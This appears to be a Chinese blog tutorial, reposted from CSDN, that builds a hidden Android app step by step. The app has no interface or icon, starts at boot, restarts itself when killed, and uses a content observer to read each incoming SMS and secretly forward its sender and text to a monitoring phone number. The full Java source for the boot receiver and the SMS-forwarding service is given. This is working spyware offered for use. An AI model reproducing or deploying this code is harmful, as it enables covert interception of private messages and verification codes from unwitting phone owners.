第一步:我们讲解怎样做一个无界面和应用图标的的应用程序。我这里用的是隐式启动Activity,这样启动就不会带界面和图标,其实做开启启动非常容易,写一个广播事件进行监听,并注册在清单文件中,一会我们在介绍怎么做到开机启动服务。回归正题:如果没有activity就不能做到安装就运行,所以我们要有activity,但是又不能有界面和图标,那就得这么做,看代码吧!如下:
红线部分就是比较重点的代码,上边有解释,我就不多说了,只要加上上边红色部分的代码,就能做到启动Activity没有界面和图标。
第二步:服务开机自动启动。首先我们应该写一个开机自动启动的广播,代码如下:
package net.loonggg.testbackstage;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent mBootIntent = new Intent(context, TestService.class);
context.startService(mBootIntent);
}
}
package net.loonggg.testbackstage;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
import android.os.IBinder;
import android.telephony.SmsManager;
public class TestService extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://sms/");
resolver.registerContentObserver(uri, true, new MyObserver(
new Handler()));
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自动重写创建
return super.onStartCommand(intent, flags, startId);
// return START_REDELIVER_INTENT;
}
private class MyObserver extends ContentObserver {
public MyObserver(Handler handler) {
super(handler);
}
@Override
public void onChange(boolean selfChange) {
super.onChange(selfChange);
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://sms/");
Cursor cursor = resolver.query(uri, new String[] { "address",
"body" }, null, null, null);
cursor.moveToFirst();
String address = cursor.getString(cursor.getColumnIndex("address"));
String body = cursor.getString(cursor.getColumnIndex("body"));
String smsContent = "number:" + address + "--content:" + body;
SmsManager smsManager = SmsManager.getDefault();
// 下边的注释是超过70个字符,分条发送,这里不需要
// if (smsContent.length() > 70) {
// List contents = smsManager.divideMessage(smsContent);
// for (String sms : contents) {
// smsManager.sendTextMessage("5556", null, sms, null, null);
// }
// } else {
smsManager.sendTextMessage("5556", null, smsContent, null, null);
// }
cursor.close();
}
}
public void onDestroy() {
Intent localIntent = new Intent();
localIntent.setClass(this, TestService.class); // 销毁时重新启动Service
this.startService(localIntent);
}
}
服务里面的具体代码我们一会在解释,这里主要讲解怎样做到开机自动启动。做到开机自动启动,与服务里面的代码没有关系,主要是那个BootReceiver广播配合清单文件AndroidManifest.xml,在清单文件里注册这个广播事件,开机触发广播,就会运行BootReceiver里面的onReceive()方法,启动服务了!
红色部分代码就是广播里面有关开机启动的代码,黑色的那两行与杀死进程再重新启动有关!
第三步:被管理进程的软件杀死服务后,再重新启动的方法。首先将服务的优先级设为最大,这样不容易在内存不够时,被先杀死,然后就是将广播的优先级加最高,最重要的就是上边图片中那两行的画黑线的代码,它们会在锁屏和情景变化时,启动广播,从而重新启动服务。代码如下:
在TestService中,更重要的代码是:
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
flags = START_STICKY;// START_STICKY(或START_STICKY_COMPATIBILITY)是service被kill掉后自动重写创建
return super.onStartCommand(intent, flags, startId);
// return START_REDELIVER_INTENT;
}
public void onDestroy() {
Intent localIntent = new Intent();
localIntent.setClass(this, TestService.class); // 销毁时重新启动Service
this.startService(localIntent);
}
第四步:通过内容观察者和内容提供者监听短信,内容观察者是观察系统短信的变化,只要系统短信变化,内容观察者就能监听到,通过内容提供者获取短信内容,再把内容发送到监听者的手机或者上传到服务器,我在这里用的是将监听到的短信内容发送到监听者的手机中!代码就在TestService中,代码如下:
@Override
public void onCreate() {
super.onCreate();
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://sms/");
/**
* 第一个参数不用解释,第二个参数notifyForDescendents这个需要解释,true代表主机的主要Uri一样就会触发,发送消息,
* false代表必须非常精确的Uri一样才能触发,发送消息,第三个参数也不用解释,就是内容观察者
*/
resolver.registerContentObserver(uri, true, new MyObserver(
new Handler()));
}
private class MyObserver extends ContentObserver {
public MyObserver(Handler handler) {
super(handler);
}
/**
* 当内容观察者,观察到数据库的内容发生变化的时候,调用这个方法 。 观察到消息邮箱里面有一条数据库内容变化的通知
*/
@Override
public void onChange(boolean selfChange) {
super.onChange(selfChange);
ContentResolver resolver = getContentResolver();
Uri uri = Uri.parse("content://sms/");
Cursor cursor = resolver.query(uri, new String[] { "address",
"body" }, null, null, null);
cursor.moveToFirst();
String address = cursor.getString(cursor.getColumnIndex("address"));
String body = cursor.getString(cursor.getColumnIndex("body"));
String smsContent = "number:" + address + "--content:" + body;
SmsManager smsManager = SmsManager.getDefault();
// 下边的注释是超过70个字符,分条发送,这里不需要
// if (smsContent.length() > 70) {
// List contents = smsManager.divideMessage(smsContent);
// for (String sms : contents) {
// smsManager.sendTextMessage("5556", null, sms, null, null);
// }
// } else {
smsManager.sendTextMessage("5556", null, smsContent, null, null);
// }
cursor.close();
}
}
到这里就都解释完了,我把完整的清单文件代码贴出来,代码如下:
会了吗?看懂了吧?
转载请注明出处:http://blog.csdn.net/loongggdroid/article/details/17538407